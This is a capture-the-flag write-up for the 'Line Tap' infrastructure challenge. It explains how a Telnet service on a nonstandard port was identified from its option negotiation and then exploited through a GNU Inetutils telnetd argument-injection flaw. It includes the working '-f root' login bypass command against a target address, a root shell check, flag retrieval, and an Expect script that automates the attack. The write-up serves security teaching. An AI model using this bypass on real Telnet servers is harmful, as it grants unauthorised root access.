Line Tap
Line Tap
Platform: CACTF2026 | Category: Infrastructure | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-07-28 | Status: Solved Techniques: telnet_protocol_identification, telnet_environ_injection, login_force_flag_bypass
Summary
Task: A legacy maintenance service on a nonstandard TCP port exposes Telnet environment negotiation and a GNU Inetutils authentication flaw. Solution: Supply a crafted USER value through Telnet ENVIRON to invoke forced root login, then read the checkpoint file.
Line Tap — CACTF2026
Description
“Stormbound scouts found a forgotten RiverGate PLC beneath Crownspire brineworks, still feeding treated water toward the Ash Vault service tunnels. Vaultrune wardens cut its controller off from normal oversight after the Signet shattered, but old maintenance habits tend to leave traces. Find what still answers and recover the latest checkpoint token before another sealed gate obeys a forged writ.”
English summary: A service was listening on TCP port 30293 at the supplied target. The goal was to identify the service behind the industrial-control theme, exploit its legacy authentication behavior, and recover the checkpoint token.
Analysis
Semantic clues and protocol identification
The title Line Tap suggested observing the connection before committing to an application protocol. The references to a PLC, water treatment, and old maintenance practices initially made Modbus/TCP plausible, but the thematic setting was not proof of the wire protocol.
TCP port 30293 accepted connections, while HTTP, TLS, and Modbus application probes produced no useful response. A passive read was decisive because the server sent these bytes immediately:
text read-only • copy allowedff fd 18 ff fd 20 ff fd 23 ff fd 27 ff fd 24
ff fd is Telnet IAC DO. Most importantly, options 0x27 and 0x24 are NEW-ENVIRON and OLD-ENVIRON. This confirmed Telnet on the nonstandard port and eliminated HTTP, TLS, and Modbus as the relevant route.
Vulnerability mechanics
The observed environment negotiation matched GNU Inetutils Telnet behavior affected by CVE-2026-24061. The vulnerable flow is:
- Telnet ENVIRON lets the client supply variables such as
USER. - Vulnerable
telnetdpasses the attacker-controlledUSERvalue unsafely to/bin/login. - Setting
USERto the argument string-f rootmakes the effective invocation/bin/login -f root. - The login program interprets
-fas forced authentication, yielding a root session without a password.
This is argument injection across the Telnet ENVIRON-to-login boundary, not a guessed credential or a weakness in an industrial protocol. The same pattern was documented in CTF Writeup entry 20260708_hackviser_gnu_inetutils_telnetd_auth_bypass_cve_2026_24061.
Solution
1. Trigger the authentication bypass
The Homebrew Inetutils client on macOS can place the crafted value in USER with -l:
bash read-only • copy allowed/opt/homebrew/bin/telnet -l "-f root" 154.57.164.81 30293
The resulting shell was verified rather than inferred:
sh read-only • copy allowedid # uid=0(root) gid=0(root) groups=0(root)
2. Confirm and read the exact checkpoint file
The initial bounded fallback checked several conventional flag locations. A subsequent clean run established /flag.txt as the exact source: it was a root-owned, 59-byte regular file.
sh read-only • copy allowedls -l /flag.txt cat /flag.txt # HTB{REDACTED}
3. Reproduce with Expect
The following task-local script automates connection, root verification, file inspection, retrieval, and clean exit:
tcl read-only • copy allowed#!/usr/bin/expect -f set timeout 25 log_user 1 spawn /opt/homebrew/bin/telnet -l "-f root" 154.57.164.81 30293 expect { -re {([#$>] ?)$} { send "id; uname -a; pwd; ls -l /flag.txt; cat /flag.txt\r" } -re {login:} { send "-f root\r" } timeout { puts "TIMEOUT waiting for shell/login" exit 2 } } expect { -re {([#$>] ?)$} { send "exit\r" } timeout { puts "TIMEOUT waiting for enumeration" exit 3 } } expect eof
Run it with:
bash read-only • copy allowedexpect exploit.exp
Failed Routes
- HTTP, TLS, and Modbus probes did not respond because they misidentified the application protocol; passive Telnet negotiation provided the correct discriminator.
- The first broad flag-path fallback located the token, after which a clean verification confirmed
/flag.txtand eliminated the other candidate paths.